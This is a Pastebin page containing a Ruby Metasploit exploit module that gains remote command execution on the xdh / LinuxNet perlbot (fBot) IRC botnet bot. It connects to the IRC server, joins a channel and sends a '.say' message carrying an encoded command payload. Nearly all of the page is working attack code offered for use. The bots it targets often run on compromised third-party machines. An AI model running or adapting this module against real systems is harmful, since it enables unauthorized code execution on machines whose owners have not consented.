Advertisement
1337ings

[Ruby] fBot-Botnet_RCE

Feb 1st, 2017
1,338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 4.81 KB | None | 0 0
  1. # LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
  2.  
  3. require 'msf/core'
  4.  
  5. class Metasploit4 < Msf::Exploit::Remote
  6.  
  7.   Rank = ExcellentRanking
  8.  
  9.   include Msf::Exploit::Remote::Tcp
  10.  
  11.   def initialize(info = {})
  12.     super(update_info(info,
  13.       'Name'           => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution',
  14.       'Description'    => %q{
  15.           This module allows remote command execution on an IRC Bot developed by xdh.
  16.           This perl bot was caught by Conor Patrick with his shellshock honeypot server
  17.           and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt
  18.           Thayer also found this script which has a description of LinuxNet perlbot.
  19.  
  20.           The bot answers only based on the servername and nickname in the IRC message
  21.           which is configured on the perl script thus you need to be an operator on the IRC
  22.           network to spoof it and in order to exploit this bot or have at least the same ip
  23.           to the config.
  24.         },
  25.       'Author'         =>
  26.         [
  27.           'Chris Poole <@codingplanets>'
  28.         ],
  29.       'License'        => MSF_LICENSE,
  30.       'References'     =>
  31.         [
  32.           ['URL', 'http://twitter.com/codingplanets'],
  33.           ['URL', 'http://github.com/codingplanets'], #leaked source code and backdoor intro
  34.           ['URL', 'http://pastebin.com/u/1337ings']
  35.         ],
  36.       'Platform'       => %w{ unix win },
  37.       'Arch'           => ARCH_CMD,
  38.       'Payload'        =>
  39.         {
  40.           'Space'    => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
  41.           'DisableNops' => true,
  42.           'Compat'      =>
  43.             {
  44.               'PayloadType' => 'cmd'
  45.             }
  46.         },
  47.       'Targets'  =>
  48.         [
  49.           [ 'xdh Botnet / LinuxNet perlbot', { } ]
  50.         ],
  51.       'Privileged'     => false,
  52.       'DisclosureDate' => 'Dec 04 2015',
  53.       'DefaultTarget'  => 0))
  54.  
  55.     register_options(
  56.       [
  57.         Opt::RPORT(6667),
  58.         OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
  59.         OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name
  60.         OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
  61.       ], self.class)
  62.   end
  63.  
  64.   def check
  65.     connect
  66.  
  67.     res = register(sock)
  68.     if res =~ /463/ || res =~ /464/
  69.       vprint_error("#{rhost}:#{rport}  - Connection to the IRC Server not allowed")
  70.       return Exploit::CheckCode::Unknown
  71.     end
  72.  
  73.     res = join(sock)
  74.     if !res =~ /353/ && !res =~ /366/
  75.       vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
  76.       return Exploit::CheckCode::Unknown
  77.     end
  78.  
  79.     quit(sock)
  80.     disconnect
  81.  
  82.     if res =~ /auth/ && res =~ /logged in/
  83.       Exploit::CheckCode::Vulnerable
  84.     else
  85.       Exploit::CheckCode::Safe
  86.     end
  87.   end
  88.  
  89.   def send_msg(sock, data)
  90.     sock.put(data)
  91.     data = ""
  92.     begin
  93.       read_data = sock.get_once(-1, 1)
  94.       while !read_data.nil?
  95.         data << read_data
  96.         read_data = sock.get_once(-1, 1)
  97.       end
  98.     rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
  99.       elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
  100.     end
  101.  
  102.     data
  103.   end
  104.  
  105.   def register(sock)
  106.     msg = ""
  107.  
  108.     if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
  109.       msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
  110.     end
  111.  
  112.     if datastore['NICK'].length > 9
  113.       nick = rand_text_alpha(9)
  114.       print_error("The nick is longer than 9 characters, using #{nick}")
  115.     else
  116.       nick = datastore['NICK']
  117.     end
  118.  
  119.     msg << "NICK #{nick}\r\n"
  120.     msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
  121.  
  122.     send_msg(sock,msg)
  123.   end
  124.  
  125.   def join(sock)
  126.     join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
  127.     send_msg(sock, join_msg)
  128.   end
  129.  
  130.   def xdh_command(sock)
  131.     encoded = payload.encoded
  132.     command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n"
  133.     send_msg(sock, command_msg)
  134.   end
  135.  
  136.   def quit(sock)
  137.     quit_msg = "QUIT :bye bye\r\n"
  138.     sock.put(quit_msg)
  139.   end
  140.  
  141.   def exploit
  142.     connect
  143.  
  144.     print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
  145.     res = register(sock)
  146.     if res =~ /463/ || res =~ /464/
  147.       print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
  148.       return
  149.     end
  150.  
  151.     print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
  152.     res = join(sock)
  153.     if !res =~ /353/ && !res =~ /366/
  154.       print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
  155.       return
  156.     end
  157.  
  158.     print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")
  159.     xdh_command(sock)
  160.  
  161.     quit(sock)
  162.     disconnect
  163.   end
  164.  
  165. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement